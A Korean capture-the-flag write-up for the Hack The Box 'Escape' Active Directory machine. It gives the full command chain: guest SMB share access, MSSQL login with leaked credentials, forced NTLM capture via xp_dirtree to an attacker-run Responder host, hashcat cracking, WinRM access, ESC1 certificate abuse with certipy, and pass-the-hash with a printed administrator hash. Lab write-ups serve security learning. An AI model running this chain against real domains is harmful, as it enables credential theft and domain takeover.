Machine Summary

Escape는 중간 난이도의 Windows Active Directory 머신입니다. 공격자는 SMB Guest 계정으로, share 파일 조사가 가능했으며, mssql 크리덴셜을 획득할 수 있었습니다. MSSQL 연결 후 xp_dirtree를 활용해 sql_svc의 NTLM v2 해시를 획득, 오프라인 브루트포싱을 통해 평문 패스워드 획득이 가능했습니다. 획득한 sql_svc 계정은 winrm을 통해 타겟 머신에 접근이 가능하며, 로컬 파일 조사를 통해 도메인 유저 ryan.cooper의 계정까지 권한 상승이 이뤄집니다. 마지막으로 ADCS의 잘못된 설정으로 인해 (ESC1 취약점) 도메인 어드민까지 권한 상승이 이뤄지는 시나리오입니다.


Recon

Nmap

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49689/tcp open  unknown
49690/tcp open  unknown
49710/tcp open  unknown
49719/tcp open  unknown
  • Kerberos, SMB, GC, MSSQL이 열려 있는 것이 눈에 띕니다.
  • 3268(글로벌 카탈로그)가 열려있는 것을 보아 도메인 컨트롤러 머신임을 유추할 수 있습니다.

Initial Foothold

랩 풀이를 본격적으로 진행하기 전, /etc/hosts에 대상 호스트 도메인을 등록하고 진행했습니다.

└─$ echo -n "10.129.9.109    DC.sequel.htb sequel.htb DC" | sudo tee -a /etc/hosts

smb share 파일 조사가 가능한지 확인해봅니다.

└─$ nxc smb sequel.htb -u 'guest123123' -p '' --shares

  • Username, Password를 넣지 않으면 열거가 불가하지만, Guest 계정은 Shared 디렉토리 조사가 가능했습니다.

smbclient를 사용해 Public 디렉토리에 접속 후 , 파일을 발견합니다.

└─$ smbclient -N //10.129.9.109/Public

pdf파일을 열어보니, MSSQL 접속에 사용할 평문 크리덴셜을 획득할 수 있었습니다.

PublicUser:GuestUserCantWrite1

nxc (crapmapexec)을 활용해 크리덴셜이 유효함을 확인했습니다.

└─$ mssqlclient.py -dc-ip 10.129.9.109 '/PublicUser:GuestUserCantWrite1'@sequel.htb

Impacket의 mssqlclient를 사용해, MSSQL에 접속합니다

└─$ mssqlclient.py -dc-ip 10.129.9.109 '/PublicUser:GuestUserCantWrite1'@sequel.htb

guest 권한으로 접속이 되었습니다. 기본적으로 sysadmin에게 활성화되는 xp_cmdshell이 사용 불가하므로, 곧바로 커맨드 실행은 불가합니다. 하지만, xp_dirtree의 권한은 보유하고 있어, sql_svc 계정의 NTLM v2 해시를 획득할 수 있었습니다. Kali 머신에서 Responder를 실행해 해시 캡쳐를 준비합니다.

└─$ sudo responder -I tun0 -v

그리고, mssqlclient 쉘에서 xp_dirtree를 활용해 Kali로 NTLM 인증을 시도합니다.

xp_dirtree \\10.10.15.184\test

성공적으로 해시 캡쳐가 가능했으며, JohnTheRipper 혹은, hashcat을 활용해 오프라인 크래킹이 가능했습니다.

hashcat hashes /usr/share/wordlists/rockyou.txt -m 5600 --force

크리덴셜 sql_svc:REGGIE1234ronnie을 획득했습니다.

이 시점에서, 우리는 sql_svc의 패스워드를 알고 있으므로, Silver Ticket Forge 시나리오를 생각했습니다.

  1. Administrator 권한의 MSSQL 실버 티켓을 만들어서 접속
  2. xp_cmdshell을 통한 리버스쉘 획득

하지만, sql_svc 계정은 SPN에 등록되어 있지 않았으며 곧바로 WinRM 로그인이 가능했습니다.

└─$ nxc winrm sequel.htb -u sql_svc -p REGGIE1234ronnie

Evil-WinRM을 활용해 서버에 접속했습니다.

└─$ evil-winrm -i sequel.htb -u sql_svc -p REGGIE1234ronnie

보유한 권한을 확인해보았으나, 권한 상승으로 악용될만한 것은 보이지 않았습니다

whoami /priv

로컬 시스템의 파일시스템을 조사하던 중, C:\SQLServer\Logs\ERRORLOG.BAK파일에 읽기 권한이 있는 것을 확인했습니다.

그리고, 해당 로그파일에서 로컬 유저의 평문 패스워드를 획득할 수 있었습니다

Select-String -Path "ERRORLOG.BAK" -Pattern "pass"

해당 유저의 크리덴셜은 유효했으며, WinRM 로그인이 가능했습니다

└─$ nxc winrm sequel.htb -u ryan.cooper -p NuclearMosquito3


Privilege Escalation

이 시점에서, 권한 상승 벡터를 못 찾고 헤매다가, AD CS에서 ESC1에 취약한 템플릿이 존재함을 확인했습니다. ESC1은, 낮은 권한의 유저가 인증서 SAN필드 내 임의의 식별자(identity)로 인증서를 요청하는 것을 허용할 때 발생하는 취약점입니다. 자세한 내용은 certipy Wiki에서 확인할 수 있습니다. https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation:

ESC1에 취약한 템플릿이 존재함을 식별합니다

└─$ certipy-ad find -dc-ip 10.129.9.109 -dc-host dc.sequel.htb -stdout -vulnerable -u ryan.cooper -p NuclearMosquito3

ryan.cooper 의 권한으로, 도메인 관리자 인증서를 요청합니다

└─$ certipy-ad req -u 'ryan.cooper@sequel.htb' -p NuclearMosquito3 \
-dc-ip 10.129.9.109 -target dc.sequel.htb -ca sequel-DC-CA \
-template UserAuthentication -upn administrator@sequel.htb \
-sid S-1-5-21-4078382237-1492182817-2568127209-500
  • template, ca 등의 항목은 위 certipy-ad find의 출력 결과에서 모두 확인할 수 있습니다.
  • sid는 bloodhound를 수집하여 확인하거나, winrm 세션에서 get-aduser administrator 커맨드로도 확인이 가능합니다

성공적으로 Administrator.pfx를 획득할 수 있었습니다.

획득한 인증서로, 도메인 관리자의 TGT를 요청합니다

└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.9.109

이후, PassTheTicket, PassTheHash 기법으로 서버에 접속이 가능합니다.

└─$ evil-winrm -i sequel.htb -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee


Reference

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation: